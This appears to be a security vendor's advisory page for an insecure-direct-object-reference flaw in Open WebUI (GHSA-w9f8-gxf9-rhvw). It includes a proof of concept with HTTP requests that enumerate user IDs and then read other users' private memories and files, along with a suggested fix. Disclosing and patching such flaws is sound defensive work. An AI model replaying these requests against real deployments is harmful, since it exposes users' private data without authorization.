Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
LOW severity

GHSA-w9f8-gxf9-rhvw — open-webui

LOW

GHSA-w9f8-gxf9-rhvw is a low-severity (CVSS 3.1) CWE-639 vulnerability in open-webui. A fix is available for open-webui — see the affected versions and patch details below.

Open WebUI's Insecure Direct Object Reference (IDOR) allows access to other users' memories

Also known asCVE-2026-29071PYSEC-2026-2765
Published
Mar 27, 2026
Updated
Jul 13, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 23, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-w9f8-gxf9-rhvw.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs17th percentile — riskier than 17% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-w9f8-gxf9-rhvw plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐍open-webui

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Any authenticated user can read other users' private memories via /api/v1/retrieval/query/collection

Details

Vulnerability 1: Missing authorization in collection querying

In backend/open_webui/routers/retrieval.py, the query_collection_handler function accepts a list of collection_names but performs no ownership validation:

async def query_collection_handler(
    request: Request,
    form_data: QueryCollectionsForm,
    user=Depends(get_verified_user),  # Only checks authentication, not authorization
):

Collection names follow predictable patterns:

  • User files: file-{FILE_UUID}
  • User memories: user-memory-{USER_UUID} (requires Memory experimental feature)

PoC

Environment: Open WebUI v0.8.3, default configuration. Setup:

  1. Register two users: admin (first user) and attacker (second user).
  2. As admin, upload a PDF document through chat.
  3. As admin, enable Memory (Settings → Personalization → Memory) and add some memories.

Exploitation — Step 1: Enumerate all users

GET /api/v1/users/search HTTP/1.1
Host: <target>
Authorization: Bearer <attacker_token>

Response reveals all users including admin's UUID, email, and role:

{
  "users": [
    {
      "id": "1e4756eb-b064-4781-8b06-4979bca59c8b",
      "name": "user",
      "email": "[email protected]",
      "role": "user"
    },
    {
      "id": "81d2f94a-3dfb-479c-af98-e29f0f40c4ba",
      "name": "admin",
      "email": "[email protected]",
      "role": "admin"
    }
  ]
}
<img width="1340" height="731" alt="1poc - users" src="https://github.com/user-attachments/assets/46d1cb64-2f84-480e-b887-819008ddabc9" />

Exploitation — Step 2: Read admin's memories

Using the admin UUID obtained in Step 1, query their private memory collection:

POST /api/v1/retrieval/query/collection HTTP/1.1
Host: <target>
Authorization: Bearer <attacker_token>
Content-Type: application/json

{
  "collection_names": ["user-memory-<admin_UUID_from_step_1>"],
  "query": "test"
}

Response returns admin's private memories:

{
  "documents": [["User is testing IDOR", "User - Mariusz, security researcher"]]
}
<img width="1285" height="606" alt="2poc - memory" src="https://github.com/user-attachments/assets/eac7c129-dcad-4afd-9449-2ca93b19e082" />

Note: Step 2 requires the Memory experimental feature to be enabled. Steps 1 and 3 work on default configuration.

Exploitation — Step 3: Read admin's private file (Vulnerability 1)

File collections use the pattern file-{FILE_UUID}. The file UUID must be obtained separately. Once known:

POST /api/v1/retrieval/query/collection HTTP/1.1
Host: <target>
Authorization: Bearer <attacker_token>
Content-Type: application/json

{
  "collection_names": ["file-<file_UUID>"],
  "query": "test"
}

Response returns admin's private document content and full metadata:

{
  "documents": [["Test PDF  \nabc   \nbcd"]],
  "metadatas": [[{
    "name": "Test PDF.pdf",
    "author": "Mariusz Maik",
    "created_by": "81d2f94a-3dfb-479c-af98-e29f0f40c4ba",
    "file_id": "243bee10-49ad-466f-884b-67b6b3d74968"
  }]]
}
<img width="1413" height="908" alt="image" src="https://github.com/user-attachments/assets/43041261-ec98-4f3f-8c26-a0c63ef18596" />

Impact

  • Document theft: Any authenticated user can read the full content and metadata of files uploaded by any other user, including admins.
  • User enumeration: All user UUIDs, emails, names, and roles are exposed to any authenticated user via /api/v1/users/search.
  • Memory leakage: When the Memory experimental feature is enabled, personal memories stored by users for LLM personalization can be read by any other user — directly contradicting the official documentation.
  • No admin privileges required: A regular user account is sufficient to exploit all of the above.

Suggested Fix

1. Add ownership validation in /api/v1/retrieval/query/collection:

async def query_collection_handler(
    request: Request,
    form_data: QueryCollectionsForm,
    user=Depends(get_verified_user),
):
    for collection_name in form_data.collection_names:
        if collection_name.startswith("user-memory-"):
            owner_id = collection_name.replace("user-memory-", "")
            if owner_id != user.id and user.role != "admin":
                raise HTTPException(status_code=403, detail="Access denied")
        elif collection_name.startswith("file-"):
            file_id = collection_name.replace("file-", "")
            # user_has_access_to_file — placeholder; verify file ownership
            # e.g. check if created_by matches user.id
            if not user_has_access_to_file(user.id, file_id):
                raise HTTPException(status_code=403, detail="Access denied")

2. Restrict /api/v1/users/search to admin-only or limit the fields returned to non-privileged users.

Disclosure

AI was used to assist with writing this report. The vulnerability was identified and confirmed through hands-on testing on Open WebUI v0.8.3. All screenshots are from real testing.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIopen-webuiall versions0.8.6pip install --upgrade 'open-webui==0.8.6'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for open-webui, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update open-webui to 0.8.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-w9f8-gxf9-rhvw is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-w9f8-gxf9-rhvw can be triaged on real exposure rather than presence alone.

Tailored to GHSA-w9f8-gxf9-rhvw. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary Any authenticated user can read other users' private memories via `/api/v1/retrieval/query/collection` ### Details **Vulnerability 1: Missing authorization in collection querying** In `backend/open_webui/routers/retrieval.py`, the `query_collection_handler` function accepts a list of `collection_names` but performs no ownership validation: ```python async def query_collection_handler( request: Request, form_data: QueryCollectionsForm, user=Depends(get_verified_user), # Only checks authentication, not authorization ): ``` Collection names follow predictable patterns
O3 Security · Impact-Aware SCA

Is GHSA-w9f8-gxf9-rhvw in your dependencies?

O3 Security finds GHSA-w9f8-gxf9-rhvw across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-w9f8-gxf9-rhvw: open-webui (Low 3.1) | O3 Security